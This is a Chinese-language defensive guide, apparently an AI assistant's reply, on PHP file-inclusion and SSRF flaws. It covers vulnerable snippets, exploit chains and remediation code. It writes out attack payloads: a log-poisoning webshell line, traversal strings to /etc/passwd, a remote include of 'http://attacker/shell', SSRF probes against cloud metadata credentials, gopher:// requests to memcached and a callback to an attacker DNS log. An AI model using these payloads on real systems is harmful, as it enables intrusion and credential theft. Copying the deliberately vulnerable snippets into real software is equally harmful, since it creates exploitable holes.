下面是一份面向开发者和安全工程师的深入指南,覆盖 PHP 中的文件包含(LFI/RFI/包含链)与 SSRF(服务器端请求伪造):概念、常见利用链、检测方法、详细缓解措施、代码级安全实践、运维/网络防护与复现/测试技巧。愿这份指南能当成你查漏洞、修漏洞与写安全代码时的“活手册”。

我把内容分成几个清晰模块:概念与危害、典型漏洞示例(易被忽视的变体)、利用技巧(LFI→RCE、SSRF→内网/元数据渗透等)、检测/复现方式、代码级防护与最佳实践、运维/网络防护、检测工具与CI集成、响应与补救。每一节都给出可复制的代码片段与具体配置建议。


一、基础概念与危害概览

文件包含(File Inclusion)

  • LFI(Local File Inclusion):应用把用户输入用作文件路径并通过 include/require 等在本地包含执行,攻击者能读取服务器上任意可读文件,甚至在某些情况下执行代码(log poisoning、phar 协议等)。
  • RFI(Remote File Inclusion):当 allow_url_include=On 且未过滤用户输入时,用户能用远程 URL(http://…/shell.php)被包含并执行——极其危险(RCE)。
  • 相关 PHP 函数/语法:includerequireinclude_oncerequire_oncefile_get_contentsfopenreadfilefile_put_contentsfopen_streamsstream_wrapper_register 等都可被误用引发问题。

危害:任意文件读取、敏感信息泄露(配置、私钥)、命令执行、持久后门注入、横向扩展(攻击其他主机)等。

SSRF(Server-Side Request Forgery)

  • 后端服务器替客户端发起 HTTP、TCP、UDP 等请求时,如果目标地址可由不可信输入控制,则会发生 SSRF。
  • 攻击者可访问内网服务(127.0.0.1:80)、云厂商元数据服务(AWS 169.254.169.254、GCP metadata server)、或触发对外部回连(用于数据窃取/SSRF→RCE 链)。

危害:内网端口扫描、敏感接口访问(Redis、Elasticsearch、Kubernetes API)、元数据泄露(回传 token/credentials)、远程请求打点(用于 CSRF 掩盖)等。


二、典型漏洞示例与利用链(包含细节)

下面是一些常见易出错的片段与如何被利用。

1) 直接包含用户输入(危险示例)

// BAD
$page = $_GET['page'];
include "/var/www/html/pages/$page.php";

若 page=../../../../etc/passwd%00(历史上 null byte可绕过),或 page=http://attacker/shell(若 allow_url_include=On),就会被利用。

2) file_get_contents 用于读取用户指定 URL(SSRF)

$url = $_GET['url'];
$data = file_get_contents($url); // SSRF 可控

若 url=http://169.254.169.254/latest/meta-data/,即可泄露元数据。或者使用 gopher:// 可触发复杂 TCP 交互。

3) log poisoning(LFI → RCE)

  • 攻击流程:存在 LFI 能读取日志并包含日志 → 攻击者把 PHP 代码注入日志(User-Agent、Referer、POST body) → 包含执行 → RCE。
  • 示例:include '/var/log/nginx/access.log'; 但若 access.log 可写并包含 <?php system($_GET["cmd"]); ?>,则可远程执行。

4) phar:// 利用(反序列化链)

  • include 'phar://path/to/file.phar'; 可触发 PHAR 元数据中 __destruct,结合不安全的反序列化可达 RCE。

5) php://filter 绕过

  • php://filter/convert.base64-encode/resource=index.php 可读取源码并 base64 编码绕过某些过滤器:include 'php://filter/convert.base64-encode/resource=../../../../wp-config.php';

6) SSRF 对云元数据服务的攻击

  • AWS v1 (IMDSv1) 与 IMDSv2 差别:IMDSv2 需要 token。若服务端使用 IMDSv1,攻击者可通过 SSRF 读取敏感 credentials。
  • 常见目标地址:http://169.254.169.254/latest/meta-data/iam/security-credentials/

三、检测与复现(测试技巧)

被动与主动检测

  • 被动:审计代码路径,查找 includerequirefile_get_contentsfopencurl_execfsockopenstream_socket_clientstream_get_contentssocket_*,并检查是否使用未过滤的外部输入($_GET/$_POST/HTTP headers)。
  • 主动:对外部接口注入 payloads:
    • LFI 列表: ../../../../etc/passwd../../../../proc/self/environ/var/log/apache2/access.log
    • php://filter:php://filter/convert.base64-encode/resource=...
    • SSRF 列表: http://127.0.0.1:80/http://169.254.169.254/gopher://127.0.0.1:22/_…http://[::1]/ 等

测试工具

  • Burp Suite + Repeater + Collaborator/Interactsh(检测外拨、DNS)
  • curl/HTTPie + 自建回连服务器(ngrok / httpbin / interactsh)
  • Nuclei / naabu / ffuf / sqlmap(插件或模板库里有 LFI/SSRF 模板)
  • 检测内网:利用 DNS 回调服务(dnslog.cn、interact.sh、Burp Collaborator)

SSRF 可用的检测 payloads(示例)

  • http://127.0.0.1/
  • http://127.0.0.1:22/(检测端口)
  • http://169.254.169.254/latest/meta-data/
  • gopher://127.0.0.1:11211/_...(memcached 利用)
  • file:///etc/passwd(某些函数支持 file://)

四、代码级防护与安全实践(最重要)

核心原则:不要把原始用户输入传入文件读取/包含/网络请求函数。总是使用显式白名单、最小权限、路径归一化与检查。

1) 永不直接包含用户输入

include $_GET['tpl']; // 绝对禁止

好(白名单映射)

$pages = [
    'home' => '/var/www/html/pages/home.php',
    'about' => '/var/www/html/pages/about.php',
];

$key = $_GET['page'] ?? 'home';
if (!array_key_exists($key, $pages)) {
    http_response_code(404); exit;
}
include $pages[$key];

只允许预定义的键名,不接受任意路径。

2) 使用 realpath 与目录检测(防止目录穿越)

$base = '/var/www/html/pages/';
$path = realpath($base . $user_input);
if ($path === false || strpos($path, $base) !== 0) {
    throw new Exception('Invalid path');
}
include $path;

注意:realpath 会解析符号链接;也要确保 $base 末尾处理一致。

3) 禁用远程包含

在 php.ini

allow_url_include = Off
allow_url_fopen = Off   ; 若真的不需要远程访问,可关掉

allow_url_include=Off 可防止 include 'http://...'allow_url_fopen 影响 file_get_contents 等;若不需要,建议也关闭,但部分应用可能需要开启(需要评估)。

4) 对所有网络请求使用白名单与端口检查(SSRF)

不要把用户提供的 URL 直接传给 file_get_contents 或 curl。做两层防护:

a) URL 解析与 IP 解析

$u = parse_url($url);
if (!in_array($u['scheme'], ['http','https'])) { throw ...; } // 阻止 file:// gopher:// 等
$host = $u['host'];
$ips = dns_get_record($host, DNS_A + DNS_AAAA);
if (empty($ips)) throw ...;
// 解析首个 IP
$ip = $ips[0]['ip'] ?? $ips[0]['ipv6'] ?? null;
if (!$ip) throw ...;
// 判断是否在私有网段
function is_private_ip($ip) { /* implement RFC1918, ::1, link-local, 169.254.169.254等 */ }
if (is_private_ip($ip)) throw new Exception('disallowed');

注意:攻击者可通过 DNS rebinding 或通过短时间切换 DNS 指向内网的方式绕过。进一步推荐使用直接禁止目标为私有 IP 的 egress

b) 使用代理/网关进行统一访问

  • 让后端请求只能通过可信的 HTTP 代理(内部代理执行外部访问并做严格检查),并通过此代理实现白名单。
  • 或使用 egress firewall + proxy + allowlist。

5) 对流包装器做限制

PHP 支持很多流包装器(php://zip://phar://data://expect://gopher:// 等)。许多利用依赖于这些包装器。尽量禁用不需要的包装器或在配置中限制。例如在 allow_url_fopen 关闭时,也可以在代码中检测 Scheme。

6) 文件上传与文件包含交互(非常常见)

  • 上传文件存放在 webroot 以外(如 /var/uploads),并且 webserver 对该目录禁止执行 PHP。
  • 随机不含用户输入的文件名(如 UUID),不要使用用户原文件名。
  • 对上传文件做文件类型检查(MIME 与魔术头),但不要仅依赖客户端 MIME。
  • 插件/主题文件夹不可写给普通用户。

示例:

$dst = '/var/www/uploads/' . bin2hex(random_bytes(16)) . '.' . $ext;
move_uploaded_file($_FILES['f']['tmp_name'], $dst);
// 设置 chmod 0644,且 nginx 禁止在该目录执行 php

nginx 配置示例(禁止 PHP 执行):

location /uploads/ {
    location ~ \.php$ { return 404; }
    # 或 root 指向 uploads 目录且没有 php-fpm fastcgi_pass
}

7) 防止日志注入 / log poisoning

  • 不把用户原始输入写进可被 include 的日志文件;把日志存在安全位置,或写数据库而非 web 可读文件。
  • 禁止将日志文件暴露到 webroot。
  • 在写入日志时对可控输入做编码:不要写入 <?php 等字符串,或替换 </>

8) 对 unserialize() 进行限制(与文件包含/SSRF 组合利用)

  • 反序列化时指定 allowed_classesunserialize($data, ['allowed_classes' => false]) 或白名单类。
  • 避免直接 unserialize() 来自不可信来源的数据。

9) 使用库与函数的安全替代

  • 不要用 include 加载远程 URL。
  • 对于 HTTP 请求,使用 cURL 并设置 CURLOPT_RESOLVECURLOPT_CONNECTTIMEOUTCURLOPT_TIMEOUT并校验返回的 IP。
  • 若必须允许某些外部域名,解析它们的 IP 并检查非私有网段后再请求。

示例(curl + host resolve check):

$host = parse_url($url, PHP_URL_HOST);
$ips = dns_get_record($host, DNS_A+DNS_AAAA);
$ip = $ips[0]['ip'] ?? $ips[0]['ipv6'] ?? null;
if (is_private_ip($ip)) throw new Exception('forbidden');
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
$response = curl_exec($ch);

注意 DNS 污染或短期改变仍可能绕过。最稳妥的是 禁止后端访问私有网段(网络层面,而不是仅靠应用层)。


五、运维与网络层面防护(更高可信度)

1) 网络出口策略(强烈建议)

  • 在云/宿主机上配置 egress ACL(安全组),禁止 Web 服务器发起到内网/169.254.169.254 等敏感地址的请求(除非确有需求)。
  • 允许外出请求只能到白名单 IP 或通过代理。

2) 云元数据安全(云平台专用)

  • AWS:启用 IMDSv2(强制 token),尽量禁用 IMDSv1。
  • GCP/Azure:对元数据服务采取类似保护或限制 access。
  • 网络层面通过主机防火墙主动阻断 169.254.169.254 的出站(iptables、云安全组)。

3) 使用 WAF 与流量过滤

  • 配置 WAF 规则拦截常见 LFI/SSRF payload(php://gopher://etc/passwd../ 等),但 WAF 不能替代代码修复。
  • WAF 可阻断常见扫描/大量请求,降低自动化攻击成功率。

4) 容器与最小权限

  • 把 Web 应用运行在非 root 的容器/用户下。
  • 确保容器没有挂载主机敏感目录(/var/run/docker.sock、/etc)。
  • 使用网络策略(K8s NetworkPolicy)限制 Pod 的外出访问。

六、实操检测Payload与复现技巧(红队式)

LFI 检测 payloads(快速):

  • ../../../../etc/passwd
  • ../../../../proc/self/environ(查看 Request Header 注入)
  • php://filter/convert.base64-encode/resource=...(读取源码)
  • /var/log/nginx/access.log/var/log/apache2/access.log
  • 尝试不同文件扩展与编码:%2e%2e%2f..%2f..%2f..%252f(double-encoding)

SSRF 探测方法:

  • 向接口提交能触发 DNS 回调的 URL:http://attacker-dnslog/<random>,看是否生成 DNS 查询(使用 interactsh/Burp Collaborator)。
  • 访问内部端口列表 http://127.0.0.1:2375/(Docker API)、http://127.0.0.1:9200/(Elasticsearch)、http://127.0.0.1:6379/(Redis HTTP gateway),观察响应时间/内容差异。
  • 测试 gopher payloads 来与 memcached 或 redis 建立 TCP 交互(高级用法,需熟悉协议)。

七、自动化检测与CI集成

静态代码分析

  • SonarQube(带安全规则)、RIPS、PhpStan + 安全插件、Psalm + plugin-security。
  • 使用规则扫描 include/require 的参数来源,检测 allow_url_include,检测 file operations 直接用到 $_GET/$_POST

动态扫描(CI)

  • 把常见 LFI/SSRF payload 注入测试用例作为集成测试(黑盒/灰盒)的一部分。
  • 使用 OWASP ZAP 或 Burp 的 CI 集成扫描 API。

八、响应、日志与补救(被利用后的处理)

  1. 立刻断网或限制出站流量(隔离受影响主机)。
  2. 采集内存/磁盘快照(用于取证)并保全日志。
  3. 查看 webserver/log 文件、上传目录、cron jobs 是否被修改。
  4. 扫描一遍系统是否有 WebShell(查找 <?php 关键字、eval、base64_decode 等)。
  5. 更改所有暴露密钥(若怀疑元数据泄露)并重新部署。
  6. 在修补完代码后恢复服务,并做完整的回归测试与漏洞复测。

九、实用代码片段汇总(安全 vs 不安全对照)

不安全:直接 include 用户输入

include $_GET['file'];

安全:白名单 + realpath

$map = [
    'home' => '/var/www/html/pages/home.php',
    'about' => '/var/www/html/pages/about.php',
];
$key = $_GET['page'] ?? 'home';
if (!isset($map[$key])) { http_response_code(404); exit; }
include $map[$key];

不安全:直接 file_get_contents($_GET[‘url’])

$data = file_get_contents($_GET['url']);

安全:解析+IP白名单+curl

function is_private_ip($ip) {
    // 检查 RFC1918、127.0.0.1、169.254.169.254、::1 等
    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
        return true;
    }
    return false;
}

$url = $_GET['url'];
$parse = parse_url($url);
if (!$parse || !in_array($parse['scheme'], ['http','https'])) {
    throw new Exception('invalid url');
}
$host = $parse['host'];
$records = dns_get_record($host, DNS_A + DNS_AAAA);
$ip = $records[0]['ip'] ?? $records[0]['ipv6'] ?? null;
if (!$ip || is_private_ip($ip)) {
    throw new Exception('forbidden host');
}
$ch = curl_init($url);
curl_setopt_array($ch, [
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_TIMEOUT => 5,
    CURLOPT_CONNECTTIMEOUT => 3,
]);
$out = curl_exec($ch);

注意:上面判断仍可被 DNS rebinding 或短时间 DNS TTL 攻击绕过。要稳妥必须做 网络层限制(禁止访问内网地址)或走内部代理。


十、附:实用参考清单(快速执行)

  • 在 php.ini 中:allow_url_include = Offallow_url_fopen = Off(若可行)。
  • 确保 .user.ini 或虚拟主机配置不会覆盖这些设置导致远程包含可用。
  • 上传目录放在 webroot 之外,或 webserver 禁止 PHP 执行。
  • 在代码中对所有文件/URL输入使用白名单或映射。
  • 利用防火墙/安全组禁用服务器对内部敏感地址(169.254.169.254、127.0.0.1:2375、2379/2380 etc)的出站连接。
  • 启用云元数据的安全模式(如 AWS IMDSv2)。
  • 在 CI 中加入 SAST(Psalm/PhpStan + 安全规则)与 DAST(ZAP)扫描。
  • 日志与监控:检测非预期的外部请求、异常大流量或频繁 4xx/5xx。

结语与下一步建议

这份指南已覆盖从代码到网络层、从检测到修复的完整路径。下一步我可以为你做其中任意一项的“落地工作”:

  1. 代码审计脚本:扫描项目中所有 include/require/file_get_contents/curl_exec 的危险用法并输出可疑位置(自动化 SAST 小工具)。
  2. 补丁示例:把你现有的某段有问题的代码贴给我,我帮你改写成安全版本并给出测试用例。
  3. 检测脚本:给你一个用于测试 SSRF/LFI 的 Burp 扩展或 curl 列表(包含 interactsh 集成)。
  4. 运维方案:按你云厂商(AWS / GCP / 阿里云)定制网络 egress 与 IMDS 防护脚本。